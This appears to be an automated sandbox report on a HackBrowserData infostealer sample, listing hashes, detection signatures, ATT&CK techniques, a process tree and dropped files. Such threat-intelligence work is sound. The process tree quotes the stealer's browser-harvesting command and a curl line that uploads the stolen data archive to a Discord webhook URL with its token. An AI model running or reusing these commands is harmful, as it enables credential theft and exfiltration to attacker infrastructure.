hackbrowserdata | 29c961505c5b9fa98c19d0184a707e10d2a656ee656f28f8efb95addf31b3ca8

General

Target
2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 5.5MB
Sample260607-hyfe7sbt2n
SHA256 29c961505c5b9fa98c19d0184a707e10d2a656ee656f28f8efb95addf31b3ca8
MD5 5e9908992c4311913ae7d40de79addb3
SHA1 193b6ef1b1bea3b5dc1a980246d67c411c199d48
SHA512 adc92422ae4bb5c13afdf190d818f9330fd8fa702f791ae0fca509d135f037f5ac3fef717b22d1a512ea61940fa5cca833004f68f8e84eee4670803958d7c5bd
SSDEEP 98304:22PMeEK2HNocxOI4+Z9XzY8EwUeD5z84vkOJU2OzFgkkR4:C5HNoWOl+Z9XM8FVD5/P58Fgkkq
TLSH
T156461249F2A030F8D7F68D35A9734832DF7A3D0E1720A68B025575725B23598BF2E762
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery hackbrowserdata infostealer spyware stealer

Malware Config

Signatures

Family: HackBrowserData
An open source golang web browser extractor.
infostealer hackbrowserdata

An open source browser data exporter written in golang. 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b596-11.dat	family_hackbrowserdata

Custom signature

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b596-11.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Executes dropped EXE 2 IoCs

pid	Process
5888	stil.exe
948	Blosm.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5304 wrote to memory of 2684	5304	2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe	80
PID 2684 wrote to memory of 5888	2684	cmd.exe	82
PID 2684 wrote to memory of 5880	2684	cmd.exe	84
PID 2684 wrote to memory of 948	2684	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Users\Admin\AppData\Local\Temp\~26403\stil.exe
    stil.exe -b all -f json --dir data --zip
    3⤵
    - Executes dropped EXE
    PID:5888
- - C:\Windows\system32\curl.exe
    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip" https://discord.com/api/webhooks/1496200211486478378/2uB6CKW7GasADM_C7k8ztU8IcIE3TLkXPrsibUiHl16sICbNKuPl24qsVXHOOZ3d4EQx
    3⤵
    PID:5880
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe"
    3⤵
    - Executes dropped EXE
    PID:948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Blosm.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe
Size 2.5MB
SHA256 7a8e7cef1750091581cdc42077ece15ae80dd70e2bad5eb5f47e9bed02d4270e
MD5 1a81e4a49326ed22e26840c8b41b1e4d
SHA1 29e42584914a60f694519621fc6aff22e1546832
SHA512 2f7dabd8596e375f2b448af1fb65203e8399cd7be497133a498819d5e40e6e370de261b525d80cadc9769d34d3bdcffc0c16d60c55e2286dc59e672e6ba20739
SSDEEP 49152:jVqnOzN+94ptozqtnKLjC7oGjhLUqjIh6okuh0mKGsPbotVDV2zlnNrBn/:o9gMC7oGjhLUqjIhnkXfMLVAVN
TLSH
T17AC5DF5D66E240E4C077D0789E4FAA0BE6757489072096DB13E0EDB52FA3AE11B7FB01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

runner.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat
Size 796B
SHA256 369f85aecd73422d53df38e59b2d78da012fbe2d74594bc1f0a88810ed26c837
MD5 10dba0d9864b628420b5d111b08d3ad6
SHA1 4d2719a095813265aeb4fc65c04232d4422a84bc
SHA512 f1cf53b15f8fea68b08fd626f2bd44239e51abac599f7ebf6faf89d02ef0599c8568a915919e16965b7a5d8f0b8307ae9f1166cef025fd03db91d09201b437f6
TLSH
T10D018E4E784505911A755BF9D38E029BDA3FC2DB4E1266C57951809E861E13433FDBC4
MD5 SHA1 SHA512 TLSH

Submit Download

stil.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\stil.exe
Size 9.3MB
SHA256 e28e65b42f2596dc34c9845728e4ee6884d3e42b20397a9c4fcbe8cd63f8c193
MD5 7be18f7881115b4b9fa5b19bc5da7e23
SHA1 838839f163f8cb146ef9078956fe9a733d096299
SHA512 50e8ee8c98f151cce3e7ea6a1eb5952a97d49bac553cd684e9f4d2bc631d41a07186b3ea412f8704873b00098513408f08d3c3229a52ec36b5592238650dbff2
SSDEEP 98304:oTjEmCMgX0kWnB6Z0+RVOjejjVEfAOja:oTqz3XOYjMj
TLSH
T199A64A47E8A142E5C0AAC535C6669667BB713C884B3073D37B50F7382F76BD0AA7A704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT.6

Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.6
Size 16B
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
MD5 SHA1 SHA512

Submit Download

CURRENT.bak

Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.bak
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

debug_log.txt

Path C:\Users\Admin\AppData\Local\Temp\debug_log.txt
Size 86B
SHA256 33af8de77c924c644fb5d1fe0c7efc9bd760129ba13533ed67dcef819c264d7d
MD5 317126cb07ff8e1ffd50a65a665b0733
SHA1 d3c75492c5f34ec78550ca3994dfc3acfdfbdd8c
SHA512 7b5b2549916c4ec6a7a0ead46deef50cd1532af9b01d60c9a090080e3423014ae4648eb6f524b11e34d0bc50d6b4d587d9f914cc5fe73f1bb37736b70c7472e9
TLSH
T192A024D4014051D400FC3CCCC754054FF14D54F7044D1437355D030C575100141FC744
MD5 SHA1 SHA512 TLSH

Submit Download

data.zip

Path C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip
Size 3KB
SHA256 3ae0dd0832ff9d97a97ae993e812702f2bc62d3cbe9ff2700c8f39d99748be05
MD5 0154e546e9f08093fd4e18b0068014e3
SHA1 88bb2f7644195579d86f783422250bd77bb3ebab
SHA512 ae1b69850cd377f5459e8fc1bd27c4566ace702a34d9becf0fa5f37c286ed0bada5fafea0039a9ec195a084b21952693d7133dadb15edd642714e2511418d3ce
TLSH
T1E75177296D2BF335E58794B99441D842C2144F429239F26BA1D2FE291C099E14F8BBDE
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads